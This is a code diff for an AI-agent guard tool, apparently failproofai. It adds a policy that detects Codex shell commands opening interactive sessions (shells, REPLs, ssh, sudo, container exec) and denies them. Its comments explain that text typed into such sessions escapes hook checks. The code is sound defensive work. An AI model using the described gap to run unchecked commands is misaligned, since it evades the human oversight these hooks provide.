/^python[0-9.]*$|^pypy[0-9.]*$/.test(program) ? "python" : program; + if (SHELLS.has(name)) { + if (args.some((a) => a === "-c" || clusterHas(a, "c") || a === "--command")) return null; + const ops = operands(args, SHELL_VALUED); + if (name === "busybox" && ops[0] !== undefined && !SHELLS.has(ops[0])) return null; + if ((name === "busybox" ? ops.length > 1 : ops.length > 0) && !args.includes("-s")) return null; + return stdinFed ? null : `an interactive ${name} shell`; + } + if (name === "python") { + if (args.some((a) => a === "-i" || clusterHas(a, "i"))) return "an interactive Python session"; + const m = args.indexOf("-m"); + if (m !== -1) return ["code", "asyncio", "pdb", "IPython", "idlelib", "ptpython", "bpython"].includes(args[m + 1] ?? "") ? "an interactive Python session" : null; + if (args.includes("-c")) return null; + const ops = operands(args, new Set(["-W", "-X", "-Q"])); + if (ops.length > 0 && ops[0] !== "-") return null; + return stdinFed ? null : "an interactive Python session"; + } + if (name === "node" || name === "nodejs") { + if (args.some((a) => a === "-i" || a === "--interactive")) return "an interactive Node.js session"; + if (args.some((a) => ["-e", "-p", "--eval", "--print", "--test", "--check", "-c", "--version", "-v", "--help", "-h"].includes(a))) return null; + return operands(args, new Set(["-r", "--require", "--import", "--loader", "--input-type"])).length > 0 || stdinFed ? null : "an interactive Node.js session"; + } + if (name === "bun" || name === "deno") { + if (args[0] === "repl") return `an interactive ${name} session`; + return name === "deno" && args.length === 0 && !stdinFed ? "an interactive deno session" : null; + } + if (STDIN_INTERPRETERS.has(name)) { + if (name === "php" && args.includes("-a")) return "an interactive PHP session"; + if ((name === "lua" || name === "luajit") && args.includes("-i")) return `an interactive ${name} session`; + if (name === "perl" && args.some((a) => /^-d/.test(a))) return "the Perl debugger"; + if (args.some((a) => a === "-e" || a === "-E" || a === "-r" || clusterHas(a, "e") || clusterHas(a, "E"))) return null; + return operands(args, new Set(["-I", "-M", "-f", "-F", "-v"])).length > 0 || stdinFed ? null : `${name} reading its program from typed input`; + } + if (ALWAYS_INTERACTIVE.has(name)) { + if (name === "tmux" && ["send-keys", "send", "ls", "list-sessions", "kill-session", "kill-server", "capture-pane", "has-session", "-V"].includes(operands(args, new Set(["-L", "-S", "-f", "-c", "-t"]))[0] ?? args[0] ?? "")) return null; + if (name === "screen" && args.some((a) => a === "-ls" || a === "-list" || a === "-X" || a === "-Q" || a === "-v")) return null; + if ((name === "gdb" || name === "lldb") && args.some((a) => a === "-batch" || a === "--batch")) return null; + if (name === "emacs" && args.some((a) => a === "--batch" || a === "--script" || a === "-batch")) return null; + if ((name === "redis-cli" || name === "mongosh" || name === "mongo") && args.some((a) => a === "--eval" || a === "-e")) return null; + if (name === "redis-cli" && operands(args, new Set(["-h", "-p", "-a", "-n", "-u", "--user", "--pass"])).length > 0) return null; + if ((name === "sftp" || name === "ftp" || name === "lftp") && args.some((a) => a === "-b" || a === "-c" || a === "-f")) return null; + if (name === "R" && args.some((a) => a === "-e" || a === "-f" || a.startsWith("--file") || a === "CMD")) return null; + if (name === "julia" && (args.some((a) => a === "-e" || a === "-E") || operands(args, new Set(["-p", "-t", "-J"])).length > 0)) return null; + if (name === "erl" && args.some((a) => a === "-noshell" || a === "-eval" || a === "-s")) return null; + if (name === "expect" && operands(args, new Set(["-c"])).length > 0) return null; + return `an interactive ${name} session`; + } + if (name === "sqlite3") return operands(args, new Set(["-cmd", "-separator", "-nullvalue"])).length > 1 || stdinFed ? null : "an interactive sqlite3 session"; + if (name === "psql") return args.some((a) => /^(-c|-f|--command|--file)(=|$)/.test(a)) || stdinFed ? null : "an interactive psql session"; + if (name === "mysql" || name === "mariadb") return args.some((a) => /^(-e|--execute)(=|$)/.test(a)) || stdinFed ? null : `an interactive ${name} session`; + if (name === "ssh") { + const ops = operands(args, SSH_VALUED); + if (args.some((a) => a === "-N" || a === "-V" || a === "-G" || a === "-Q")) return null; + return ops.length === 1 && !stdinFed ? "a remote shell over ssh" : ops.length > 1 && /^(bash|sh|zsh|fish|-?i?bash)$/.test(baseName(ops[1])) && ops.length === 2 ? "a remote shell over ssh" : null; + } + if (name === "su") return args.some((a) => a === "-c" || a === "--command" || a.startsWith("--command=")) ? null : "a shell through su"; + if (name === "sudo" || name === "doas") { + if (args.some((a) => a === "-i" || a === "-s" || a === "--login" || a === "--shell" || clusterHas(a, "i") || clusterHas(a, "s"))) return `a shell through ${name}`; + const rest = programOf(skipSudoOptions(args)); + return rest ? sessionReason(rest.program, rest.args, stdinFed) : null; + } + if (name === "script") return args.some((a) => a === "-c" || a === "--command" || clusterHas(a, "c")) ? null : "a recorded interactive shell (script)"; + if (name === "docker" || name === "podman" || name === "nerdctl") { + const sub = args.find((a) => !a.startsWith("-")); + if (sub === "attach") return `an attached ${name} container`; + if (sub !== "exec" && sub !== "run") return null; + const after = args.slice(args.indexOf(sub) + 1); + return after.some((a) => a === "-i" || a === "--interactive" || a === "--interactive=true" || clusterHas(a, "i")) ? `an interactive ${name} ${sub}` : null; + } + if (name === "kubectl" || name === "oc") { + const sub = args.find((a) => !a.startsWith("-")); + if (sub === "attach") return `an attached ${name} pod`; + if (sub !== "exec" && sub !== "run" && sub !== "debug") return null; + return args.some((a) => a === "-i" || a === "--stdin" || a === "--stdin=true" || clusterHas(a, "i")) ? `an interactive ${name} ${sub}` : null; + } + if (name === "nix-shell") return args.some((a) => a === "--run" || a === "--command") ? null : "an interactive nix-shell"; + if (name === "nix" && (args[0] === "repl" || ((args[0] === "develop" || args[0] === "shell") && !args.some((a) => a === "-c" || a === "--command")))) return `an interactive nix ${args[0]}`; + if ((name === "poetry" || name === "pipenv" || name === "hatch") && args[0] === "shell") return `an interactive ${name} shell`; + if (name === "vagrant" && args[0] === "ssh" && !args.some((a) => a === "-c" || a === "--command")) return "a remote shell over vagrant ssh"; + return null; +} + +function skipSudoOptions(args: string[]): string[] { + let k = 0; + while (k < args.length && args[k].startsWith("-")) { + if (["-u", "-g", "-C", "-D", "-h", "-p", "-r", "-t", "-U", "--user", "--group"].includes(args[k])) k++; + k++; + } + return args.slice(k); +} + +/** Why this command opens an interactive session (the first one found), or null. */ +export function opensInteractiveSession(command: string): string | null { + for (const { words, stdinFed } of simpleCommands(command)) { + const found = programOf(words); + if (!found) continue; + const reason = sessionReason(found.program, found.args, stdinFed); + if (reason) return reason; + } + return null; +} + +/** Whether a canonicalized Codex call is a shell command that opens one. */ +export function codexCallOpensSession(eventType: string, toolName: string | undefined, toolInput: unknown): string | null { + if (eventType !== "PreToolUse" || toolName !== "Bash") return null; + const command = (toolInput as Record | null | undefined)?.command; + return typeof command === "string" ? opensInteractiveSession(command) : null; +} + +/** The guard for one Codex call found to open an interactive session. */ +export function codexSessionGuardFor(reason: string): (ctx: PolicyContext) => PolicyResult { + return (ctx) => { + if (ctx.eventType !== "PreToolUse") return allow(); + return deny( + `failproofai refused this because it opens ${reason}, and Codex runs no hooks for what is typed into one. ` + + "Run each command on its own instead, without keeping a shell or REPL open.", + ); + }; +} diff --git a/src/hooks/handler.ts b/src/hooks/handler.ts index 822b064e6..450803bd1 100644 --- a/src/hooks/handler.ts +++ b/src/hooks/handler.ts @@ -46,6 +46,13 @@ import { typedInputGuardFor, typedShellInput, } from "./typed-shell-input"; +import { + CODEX_SESSION_GUARD_DESCRIPTION, + CODEX_SESSION_GUARD_MATCH, + CODEX_SESSION_GUARD_NAME, + codexCallOpensSession, + codexSessionGuardFor, +} from "./codex-interactive-session"; import { evaluatePolicies } from "./policy-evaluator"; // Types only: the semantic (Jev) modules are loaded with a dynamic import, and // only once a Jev config exists, so an unconfigured machine never loads them. @@ -744,6 +751,10 @@ export async function evaluateHookEvent( parsed.tool_input = { ...(parsed.tool_input as Record), command: typedInput.command }; } const unreadableTypedInput = typedInput?.kind === "unreadable" ? typedInput.why : undefined; + // Codex runs no hooks for what is typed into a shell it keeps open, so a + // Codex command that opens one is refused. See codex-interactive-session.ts. + const codexSession = + cli === "codex" ? codexCallOpensSession(canonicalEventType, canonicalToolName, parsed.tool_input) : null; // Extract session metadata from payload const sessionId = parsed.session_id as string | undefined; @@ -923,6 +934,14 @@ export async function evaluateHookEvent( TYPED_INPUT_GUARD_MATCH, ); } + if (codexSession !== null && typedInputGuardActive(Boolean(activePause), cloudManagedPolicies)) { + registerPolicy( + CODEX_SESSION_GUARD_NAME, + CODEX_SESSION_GUARD_DESCRIPTION, + codexSessionGuardFor(codexSession), + CODEX_SESSION_GUARD_MATCH, + ); + } // Recorded on every row once a machine is managed, whether or not a cloud // policy decided this event: "what was deployed here at the time" is a // separate question from "what decided", and only the former can tell a diff --git a/src/hooks/typed-shell-input.ts b/src/hooks/typed-shell-input.ts index c84cac0bc..06ae5f93c 100644 --- a/src/hooks/typed-shell-input.ts +++ b/src/hooks/typed-shell-input.ts @@ -24,6 +24,10 @@ * * Text typed into a program the shell started (a REPL, an editor) is judged as * shell text too: the payload does not say what reads it. + * + * Live codex-cli 0.172 runs no hook at all for `write_stdin`, so for Codex + * this is a second line only: codex-interactive-session.ts refuses opening the + * session in the first place. */ import { deny, allow } from "./policy-helpers"; import type { PolicyContext, PolicyMatcher, PolicyResult } from "./policy-types";